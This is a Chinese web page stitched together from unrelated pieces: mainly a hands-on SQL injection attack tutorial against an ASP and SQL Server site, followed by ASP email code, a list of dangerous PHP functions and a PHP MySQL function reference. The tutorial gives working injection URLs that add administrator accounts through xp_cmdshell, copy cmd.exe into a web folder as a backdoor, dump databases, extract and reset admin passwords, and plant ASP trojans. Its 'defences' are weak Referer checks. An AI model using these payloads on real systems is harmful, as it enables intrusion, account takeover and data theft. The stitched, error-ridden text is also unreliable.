　　如果数据库是SQLServer，那么第一个网址的页面与原页面HTTP://www.163.com/news.asp?id=xx是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。

　　如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。

　　三、确定XP_CMDSHELL可执行情况

　　若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过以下几种方法完全控制，以后的所有步骤都可以省

　　1、HTTP://www.163.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

　　2、HTTP://www.163.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接的数据库名。

　　3、HTTP://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据
库；名中的分号表示SQL-SERVER执行完分号前的语句名，继续执行其后面的语句；“—”号是注解，表示其后面的所有内容仅为注释，系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

　　4、HTTP://www.163.com/news.asp?id=xx；exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。

　　5、HTTP://www.163.com/news.asp?id=xx；backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

　　6、通过复制CMD创建UNICODE漏洞

HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe

　　c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞，通过此漏洞的利用方法，便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

　　这样你就成功的完成了一次SQL注入攻击，先别兴奋，在实践时你就会发现这比理论要难的多会有更多的困难等着你come over ，下面GO ON如果上述条件不成立则需继续奋斗（要挂马了：））

GO ON~!

　　当上述条件不成立时就要继续下面的步骤

　　(一)、发现WEB虚拟目录

　　只有找到WEB虚拟目录，才能确定放置ASP木马的位置，进而得到USER权限。有两种方法比较有效。

　　一是根据经验猜解，一般来说，WEB虚拟目录是：c:\inetpub\wwwroot;

D:\inetpub\wwwroot; E:\inetpub\wwwroot等，而可执行虚拟目录是：
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

　　二是遍历系统的目录结构，分析结果并发现WEB虚拟目录；

　　先创建一个临时表：temp

HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--

　　接下来：

　　1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：

HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

　　我们可以通过查询temp的内容来获得驱动器列表及相关信息

　　2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中：

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

　　3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：

HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

　　这样就可以成功的浏览到所有的目录（文件夹）列表：

　　如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

　　使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。

　　当然，如果xp_cmshell能够执行，我们可以用它来完成：

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

　　通过xp_cmdshell我们可以看到所有想看到的，包括W3svc

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

　　但是，如果不是SA权限，我们还可以使用

HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

　　注意：

　　1、以上每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：

HTTP://www.163.com/news.asp?id=xx;delete from temp;--

　　2、浏览TEMP表的方法是：(假设TestDB是当前连接的数据库名)
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

　　得到表TEMP中第一条记录id字段的值，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现id字段的值。假设发现的表名是xyz，则

HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0

　　得到表TEMP中第二条记录id字段的值。

　　(二)、上传ASP木马

　　所谓ASP木马，就是一段有特殊功能的ASP代码，并放入WEB虚拟目录的Scripts下，远程客户通过IE就可执行它，进而得到系统的USER权限，实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法：

　　1、利用WEB的远程管理功能

　　许多WEB站点，为了维护的方便，都提供了远程管理的功能；也有不少WEB站点，其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制，都有一个网页，要求用户名与密码，只有输入了正确的值，才能进行下一步的操作,可以实现对WEB的管理，如上传、下载文件，目录浏览、修改配置等。

　　因此，若获取正确的用户名与密码，不仅可以上传ASP木马，有时甚至能够直接得到USER权限而浏览系统，上一步的“发现WEB虚拟目录”的复杂操作都可省略。

　　用户名及密码一般存放在一张表中，发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。

　　A、 注入法：

　　从理论上说，认证网页中会有型如：

　　select * from admin where username='XXX' and password='YYY' 的语句，若在正式运行此句之前，没有进行必要的字符过滤，则很容易实施SQL注入。

　　如在用户名文本框内输入：abc’ or 1=1-- 在密码框内输入：123 则SQL语句变成：

select * from admin where username='abc’ or 1=1 and password='123’

　　不管用户输入任何用户名与密码，此语句永远都能正确执行，用户轻易骗过系统，获取合法身份。

　　B、猜解法：

　　基本思路是：猜解所有数据库名称，猜出库中的每张表名，分析可能是存放用户名与密码的表名，猜出表中的每个字段名，猜出表中的每条记录内容。

　　a 猜解所有数据库名称

HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

　　因为dbid的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),news.asp工作异常，可得到第一个数据库名，同理把DBID分别改成7,8，9,10,11,12…就可得到所有数据库名。

　　以下假设得到的数据库名是TestDB。

　　b 猜解数据库中用户名表的名称

　　猜解法：此方法就是根据个人的经验猜表名，一般来说，

　　user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

　　HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在，则news.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。

　　读取法：SQL-SERVER有一个存放系统核心信息的表sysobjects，有关一个库的所有表，视图等信息全部存放在此表中，而且此表可以通过WEB进行访问。

　　当xtype='U' and status>0代表是用户建立的表，发现并分析每一个用户建立的表及名称，便可以得到用户名表的名称，基本的实现方法是：

　　①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一个用户建立表的名称，并与整数进行比较，显然news.asp工作异常，但在异常中却可以发现表的名称。假设发现的表名是xyz，则

　　②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二个用户建立的表的名称，同理就可得到所有用建立的表的名称。

　　根据表的名称，一般可以认定那张表用户存放用户名及密码，以下假设此表名为Admin。

　　c 猜解用户名字段及密码字段名称

　　admin表中一定有一个用户名字段，也一定有一个密码字段，只有得到此两个字段的名称，才有可能得到此两字段的内容。如何得到它们的名称呢，同样有以下两种方法。

　　猜解法：此方法就是根据个人的经验猜字段名，一般来说，用户名字段的名称常用：username,name,user,account等。而密码字段的名称常用：password,pass,pwd,passwd等。并通过语句进行判断

HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”

　　语句得到表的行数，所以若字段名存在，则news.asp工作正常，否则异常。如此循环，直到猜到两个字段的名称。

　　读取法：基本的实现方法是

HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名，当与整数进行比较，显然news.asp工作异常，但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。

　　d 猜解用户名与密码

　　猜用户名与密码的内容最常用也是最有效的方法有：

　　ASCII码逐字解码法:虽然这种方法速度较慢，但肯定是可行的。基本的思路是先猜出字段的长度，然后依次猜出每一位的值。猜用户名与猜密码的方法相同，以下以猜用户名为例说明其过程。

HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2，3,4，5，… n，username

　　为用户名字段的名称，admin为表的名称)，若x为某一值i且news.asp运行正常时，则i就是第一个用户名的长度。如：当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常，则第一个用户名的长度为8

　　HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，若n为某一值i且news.asp运行正常时，则i对应ASCII码就是用户名某一位值。如：当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常，则用户名的第三位为P(P的ASCII为80)；HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常，则用户名的第9位为!(!的ASCII为80)；猜到第一个用户名及密码后，同理，可以猜出其他所有用户名与密码。注意：有时得到的密码可能是经MD5等方式加密后的信息，还需要用专用工具进行脱密。或者先改其密码，使用完后再改回来，见下面说明。简单法：猜用户名用HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一个字段，username是用户名字段，此时news.asp工作异常，但能得到Username的值。与上同样的方法，可以得到第二用户名，第三个用户等等，直到表中的所有用户名。

　　猜用户密码：HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段，pwd是密码字段，此时news.asp工作异常，但能得到pwd的值。与上同样的方法，可以得到第二用户名的密码，第三个用户的密码等等，直到表中的所有用户的密码。密码有时是经MD5加密的，可以改密码。

　　HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为：AAABBBCCCDDDEEEF，即把密码改成1；www为已知的用户名)用同样的方法当然可把密码改原来的值。

　　2、利用表内容导成文件功能

　　SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。

　　命令行格式如下：

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar
　　('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个163.asp的木马)

　　3、利用工具，如NBSI给出的一些参考数据最重要的表名：

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

　　最重要的一些用户名（默认sql数据库中存在着的）

public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID

　　(三)、得到系统的管理员权限

　　ASP木马只有USER权限，要想获取对系统的完全控制，还要有系统的管理员权限。怎么办？提升权限的方法有很多种：

　　上传木马，修改开机自动运行的.ini文件(它一重启，便死定了)；

　　复制CMD.exe到scripts，人为制造UNICODE漏洞；

　　下载SAM文件，破解并获取OS的所有用户名密码；

　　等等，视系统的具体情况而定，可以采取不同的方法。

　　那么我们怎么防注入呢？程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如 top.asp文件中开头

　　方法一：

<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>

　　(说明：只要有用户注入则跳转到../../目录，呵呵，看你怎么给我注入)

　　方法二：

<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=“font:9pt Verdana">"
response.write "你提交的路径有误，禁止从站点外部提交数据请不要乱该参数！"
response.write "</td></tr></table></center>"
response.end
end if
%>

　　(说明：只要有用户注入则判断为外部连接哦，呵呵，看你怎么给我注入)

　　方法三：

<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>

　　(说明：只要有用户注入则跳转到../(这个可以改为其它网站，或其它页面，给它们一点小的警告也行哦)目录，呵呵，看你怎么给我注入)

　　黑客与安全是紧密的……

　　如果你的ASP及WEB数据库的运行平台是IIS4（Internet Information Server 4.0），你可以使用CDONTS.DLL。如果你已经缺省安装过NT 4.0 Option Pack，CDONTS.DLL便存放在你机器的C:\Winnt\System32\目录下面。有了该组件我们还不能立即应用它，在对它进行应用之前我们必须先完成组件的注册，那么怎样才能对CDONTS.DLL进行注册呢？我们可以在MS-DOS方式下进入到CDONTS.DLL所在的目录C:\Winnt\System32\下输入：
　　c:\winnt\system32>regsvr32 cdonts.dll
（如果我们想将其御载可用指令： c:\winnt\system32>regsvr32/u cdonts.dll)

　　在完成了组件的注册后，现在我们可以开始来解说如何对该组件的使用。我们可以用下面简单的脚本来给留言簿的添加自动发E-MAIL的功能。

< %
Dim MailObject
Dim Email
Email = Request.form("Email")
Set MailObject = Server.CreateObject("CDONTS.NewMail")
Set myMail = Server.CreateObject("CDONTS.NewMail")
myMail.Subject = "欢迎您下次再来"
MailObject.Send "你本人的E-MAIL", Email ,"欢迎您下次再来给我们留言。" myMail.Send
Set myMail=Nothing
%>
　　将上述的代码COPY到manage2.asp 去，一个简单的通过ASP来发送E-MAIL的留言簿就实现了。也许你并不会满意这种发E-MAIL的方式，理由很简单：因为为了答谢你的网友对你的支持，你昨晚熬夜足足写了几千字（也许是我说少了）的感激话语，今早一大早起来才发现原来上述的留言簿竟然未具备发附件的功能，瞧，这有多气人的。还好，原来CDONTS.DLL也可以用来发送附件，事不宜迟，我们立即就将其奉献出来。< %
Dim MailObject
Dim Email Email = Request("Email")
Set MailObject = Server.CreateObject("CDONTS.NewMail")
att_file="D:\cwj\GO-asp\guestbook5\email.txt"
f_name="email.txt"
MailObject.From="你本人的E-MAIL"
MailObject.To = Email
MailObject.Subject="感谢您对我们工作的支持"
MailObject.Body="感谢您对我们工作的支持"
MailObject.AttachFile att_file,f_name
MailObject.Send
%>

　　只需将上述的代码COPY下来用以取代第一个实例，我们的留言簿便能实现自动发附件功能。在这里值得我们注意的是：att_file="D:\cwj\GO-asp\guestbook5\email.txt"
必须是我们放附件的绝对路径。其实除了CDONTS.DLL 组件外，有许多由第三方厂商开发的组件你也可以使用。例如据说连Intel公司也在用的ASPmail组件和似乎很受欢迎的w3 Jmail等等组件。能受到大家的欢迎，个中原由自是不言而宣的，我们可以直接从以下地方去下载它们。
ASPmail组件的下载地址：http://www.flicks.com/ASPMail/intro.htm
Jmail组件的下载地址：http://download.dimac.net/jmail/jmail.exe

　　说实际的，我的第一个用ASP来发送E-MAIL的留言簿所用的组件就是ASPmail组件（自然是因为听说连Intel公司也在使用它的缘故）。既然使用过了，自然对其会有所了解，我想在这里也不妨对ASPmail组件的使用作下简单的介绍。

　　应用ASPmail组件的方法其实也很简单，首先我们得先对该组件进行安装，安装完毕后在ASPmail的安装目录下面会附有Sample实例，我们只要对照着这些例子，再稍加改动即可。我在这里提供了一个实例给大家，并单独将使用该组件时所涉及到的所有其它文件一并放在ASPmail目录下面，大家可以从下载区下载后再细作研究，我在这里只稍作一下简单的说明。
　　首先，我们在manage2.asp中输入<!--#include file="ASPmail/sendmail2.asp" -->并另存成manage3.asp，而具体sendmail2.asp的脚本如下所示：
< %
Set mailer = Server.CreateObject("ASPMAIL.ASPMailCtrl.1")
%>
< %
name = Request.form("name")
email = Request.form("email")
subject = "欢迎您下次再来"
memo = "欢迎您下次再来留言！"
mailserver = "smtp.21cn.com"
result = mailer.SendMail(mailserver, name, email, subject, memo)
%>
　　这里值得大家注意的是：mailserver = "smtp.21cn.com" 中填写的是SMTP服务器，我在这里用了21世纪的SMTP的邮件服务器来作例子，当然你也可以用其它地方的或你自己的（真是羡慕煞人了），就是有一点非常重要，你必须填写正确，而且确信它们确实是开通了该服务。至于我最后为什么又放弃了使用该组件，大家用过之后很可能如我者也不会在少数，原因很简单：就因为该免费的组件会在你所发送的每一封信的下面讨厌地放上几句催你赶快去购买它的注册版的文字。

phpinfo()

功能描述：输出 PHP 环境信息以及相关的模块、WEB 环境等信息。

危险等级：中

passthru()

功能描述：允许执行一个外部程序并回显输出，类似于 exec()。

危险等级：高

exec()

功能描述：允许执行一个外部程序（如 UNIX Shell 或 CMD 命令等）。

危险等级：高

system()

功能描述：允许执行一个外部程序并回显输出，类似于 passthru()。

危险等级：高

chroot()

功能描述：可改变当前 PHP 进程的工作根目录，仅当系统支持 CLI 模式PHP 时才能工作，且该函数不适用于 Windows 系统。

危险等级：高

scandir()

功能描述：列出指定路径中的文件和目录。

危险等级：中

chgrp()

功能描述：改变文件或目录所属的用户组。

危险等级：高

chown()

功能描述：改变文件或目录的所有者。

危险等级：高

shell_exec()

功能描述：通过 Shell 执行命令，并将执行结果作为字符串返回。

危险等级：高

proc_open()

功能描述：执行一个命令并打开文件指针用于读取以及写入。

危险等级：高

proc_get_status()

功能描述：获取使用 proc_open() 所打开进程的信息。

危险等级：高

error_log()

功能描述：将错误信息发送到指定位置（文件）。

安全备注：在某些版本的 PHP 中，可使用 error_log() 绕过 PHP safe mode，
执行任意命令。

危险等级：低

ini_alter()

功能描述：是 ini_set() 函数的一个别名函数，功能与 ini_set() 相同。具体参见 ini_set()。

危险等级：高

ini_set()

功能描述：可用于修改、设置 PHP 环境配置参数。

危险等级：高

ini_restore()

功能描述：可用于恢复 PHP 环境配置参数到其初始值。

危险等级：高

dl()

功能描述：在 PHP 进行运行过程当中（而非启动时）加载一个 PHP 外部模块。

危险等级：高

pfsockopen()

功能描述：建立一个 Internet 或 UNIX 域的 socket 持久连接。

危险等级：高

syslog()

功能描述：可调用 UNIX 系统的系统层 syslog() 函数。

危险等级：中

readlink()

功能描述：返回符号连接指向的目标文件内容。

危险等级：中

symlink()

功能描述：在 UNIX 系统中建立一个符号链接。

危险等级：高

popen()

功能描述：可通过 popen() 的参数传递一条命令，并对 popen() 所打开的文件进行执行。

危险等级：高

stream_socket_server()

功能描述：建立一个 Internet 或 UNIX 服务器连接。

危险等级：中

putenv()

功能描述：用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中，可利用该函数修改系统字符集环境后，利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。

危险等级：高

2、mysql_pconnect()-建立数据库连接
格式：
resource mysql_pconnect([string hostname [:port] [:/path/to/socket] [, string username] [, string password]])
例：
$conn = @mysql_pconnect(”localhost”, “username”, “password”) or dir(”不能连接到Mysql Server”);
说明：使用该连接函数不需要显示的关闭连接，它相当于使用了连接池

3、mysql_close()-关闭数据库连接
例：
$conn = @mysql_connect(”localhost”, “username”, “password”) or die(”不能连接到Mysql Server”);
@mysql_select_db(”MyDatabase”) or die(”不能选择这个数据库，或数据库不存在”);
echo “你已经连接到MyDatabase数据库”;
mysql_close();

4、mysql_select_db()-选择数据库
格式：
boolean mysql_select_db(string db_name [, resource link_id])
例：
$conn = @mysql_connect(”localhost”, “username”, “password”) or die(”不能连接到Mysql Server”);
@mysql_select_db(”MyDatabase”) or die(”不能选择这个数据库，或数据库不存在”);

5、mysql_query()-查询MySQL
格式：
resource mysql_query (string query, [resource link_id])
例：
$linkId = @mysql_connect(”localhost”, “username”, “password”) or die(”不能连接到Mysql Server”);
@mysql_select_db(”MyDatabase”) or die(”不能选择这个数据库，或者数据库不存在”);
$query = “select * from MyTable”;
$result = mysql_query($query);
mysql_close();
说明：若SQL查询执行成功，则返回资源标识符，失败时返回FALSE。若执行更新成功，则返回TRUE，否则返回FALSE

6、mysql_db_query()-查询MySQL
格式：
resource mysql_db_query(string database, string query [, resource link_id])
例：
$linkId = @mysql_connect(”localhost”, “username”, “password”) or die(”不能连接到MysqlServer”);
$query = “select * from MyTable”;
$result = mysql_db_query(”MyDatabase”, $query);
mysql_close();
说明：为了使代码清晰，不推荐使用这个函数调用

7、mysql_result()-获取和显示数据
格式：
mixed mysql_result (resource result_set, int row [, mixed field])
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
for($count=0;$count<=mysql_numrows($result);$count++)
{
      $c_id = mysql_result($result, 0, “id”);
      $c_name = mysql_result($result, 0, “name”);
      echo $c_id,$c_name;
}
说明：最简单、也是效率最低的数据获取函数

8、mysql_fetch_row()-获取和显示数据
格式：
array mysql_fetch_row (resource result_set)
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
while (list($id, $name) = mysql_fetch_row($result)) {
      echo(”Name: $name ($id) <br />”);
}
说明：函数从result_set中获取整个数据行，将值放在一个索引数组中。通常会结使list()函数使用

9、mysql_fetch_array()-获取和显示数据
格式：
array mysql_fetch_array (resource result_set [, int result_type])
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
      $id = $row["id"];
      $name = $row["name"];
      echo “Name: $name ($id) <br />”;
}
又例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
while($row = mysql_fetch_array($result, MYSQL_NUM)) {
      $id = $row[0];
      $name = $row[1];
      echo “Name: $name ($id) <br />”;
}
说明：
result_type的值有：
MYSQL_ASSOC: 字段名表示键，字段内容为值
MYSQL_NUM: 数值索引数组，操作与mysql_fetch_ros()函数一样
MYSQL_BOTH: 即作为关联数组又作为数值索引数组返回。result_type的默认值。

10、mysql_fetch_assoc()-获取和显示数据
格式：
array mysql_fetch_assoc (resource result_set)
相当于调用 mysql_fetch_array(resource, MYSQL_ASSOC);

11、mysql_fetch_object()-获取和显示数据
格式：
object mysql_fetch_object(resource result_set)
例：
$query = “select id, name from MyTable order by name”;
while ($row = mysql_fetch_object($result)) {
      $id = $row->id;
      $name = $row->name;
      echo “Name: $name ($id) <br />”;
}
说明：返回一个对象，在操作上与mysql_fetch_array()相同

12、mysql_num_rows()-所选择的记录的个数
格式：
int mysql_num_rows(resource result_set)
例：
query = “select id, name from MyTable where id > 65″;
$result = mysql_query($query);
echo “有”.mysql_num_rows($result).”条记录的ID大于65″;
说明：只在确定select查询所获取的记录数时才有用。

13、mysql_affected_rows()－受Insert,update,delete影响的记录的个数
格式：
int mysql_affected_rows([resource link_id])
例：
$query = “update MyTable set name=’CheneyFu’ where id>=5″;
$result = mysql_query($query);
echo “ID大于等于5的名称被更新了的记录数：”.mysql_affected_rows();
说明：该函数获取受Insert,Update或Delete更新语句影响的行数
http://www.knowsky.com/php.asp
14、mysql_list_dbs()-获取数据库列表信息
格式：
resource mysql_list_dbs([resource link_id])
例：
mysql_connect(”localhost”, “username”, “password”);
$dbs = mysql_list_dbs();
echo “Databases: <br />”;
while (list($db) = mysql_fetch_rows($dbs)) {
      echo “$db <br />”;
}
说明：显示所有数据库名称

15、mysql_db_name()-获取数据库名
格式：
string mysql_db_name(resource result_set, integer index)
说明：该函数获取在mysql_list_dbs()所返回result_set中位于指定index索引的数据库名

16、mysql_list_tables()-获取数据库表列表
格式：
resource mysql_list_tables(string database [, resource link_id])
例：
mysql_connect(”localhost”, “username”, “password”);
$tables = mysql_list_tables(”MyDatabase”);
while (list($table) = mysql_fetch_row($tables)) {
      echo “$table <br />”;
}
说明：该函数获取database中所有表的表名

17、mysql_tablename()-获取某个数据库表名
格式：
string mysql_tablename(resource result_set, integer index)
例：
mysql_connect(”localhost”, “username”, “password”);
$tables = mysql_list_tables(”MyDatabase”);
$count = -1;
while (++$count < mysql_numrows($tables)) {
      echo mysql_tablename($tables, $count).”<br />”;
}
说明：该函数获取mysql_list_tables()所返回result_set中位于指定index索引的表名

18、mysql_fetch_field()-获取字段信息
格式：
object mysql_fetch_field(resource result [, int field_offset])
例：
mysql_connect(”localhost”, “username”, “password”);
mysql_select_db(”MyDatabase”);
$query = “select * from MyTable”;
$result = mysql_query($query);
$counts = mysql_num_fields($result);
for($count = 0; $count < $counts; $count++) {
   $field = mysql_fetch_field($result, $count);
   echo “<p>$field->name $field->type ($field->max_length) </p>”;
}
说明：
返回的对象共有12个对象属性：
name: 字段名
table: 字段所在的表
max_length: 字段的最大长度
not_null: 如果字段不能为null，则为1，否则0
primary_key: 如果字段为主键，则为1，否则0
unique_key: 如果字段是唯一键，则为1， 否则0
multiple_key: 如果字段为非唯一，则为1，否则0
numeric: 如果字段为数值则为1，否则0
blob: 如果字段为BLOB则为1，否则为0
type: 字段的数据类型
unsigned: 如果字段为无符号数则为1，否则为0
zerofill: 如果字段为“零填充”则为1， 否则为0

19、mysql_num_fields()-获取查询的字段个数
格式：
integer mysql_num_fields (resource result_set)
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
echo “这个查询的字段数是：”.mysql_num_fields($result).”<br />”;

20、mysql_list_fields()-获取指定表的所有字段的字段名
格式：
resource mysql_list_fields (string database_name, string table_name [, resource link_id])
例：
$fields = mysql_list_fields(”MyDatabase”, “MyTable”);
echo “数据库MyDatabase中表MyTable的字段数： “.mysql_num_fields($fields).”<br />”;

21、mysql_field_flags()-获取指定的字段选项
格式：
string mysql_field_flags (resource result_set, integer field_offset)
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
$row=mysql_fetch_wor($row);

22、mysql_field_len()-获取指定的字段的最大长度
格式：
integer mysql_field_len (resource result_set, integer field_offset)
例：
$query = “select name from MyTable”;
$result = mysql_query($query);
$row = mysql_fetch_row($result);
echo mysql_field_len($result, 0).”<br />”;
说明：
如果mysql_field_len($reseult, 0) = 16777215
那么numer_format(mysql_field_len($result))等于16,777,215

23、mysql_field_name()-获取字段名
格式：
string mysql_field_name (resource result_set, int field_offset)
例：
$query = “select id as PKID, name from MyTable order by name”;
$result = mysql_query($query);
$row = mysql_fetch_row($result);
echo mysql_field_name($result, 0); // Result: PKID

24、mysql_field_type()-获取字段类型
格式：
string mysql_field_type (resource result_set, int field_offset)
例：
$query = “select id, name from MyTable order by name”;
$result = mysql_query($query);
$row = mysql_fetch_row($result);
echo mysql_field_type($result, 0); // Result: int

25、mysql_field_table()-获取字段所在表名
格式：
string mysql_field_table (resource result_set, int field_offset)
例：
$query = “select id as PKID, name from MyTable order by name”;
$result = mysql_query($query);
$row = mysql_fetch_row($result);
echo mysql_field_table($result, 0); // Result: MyTable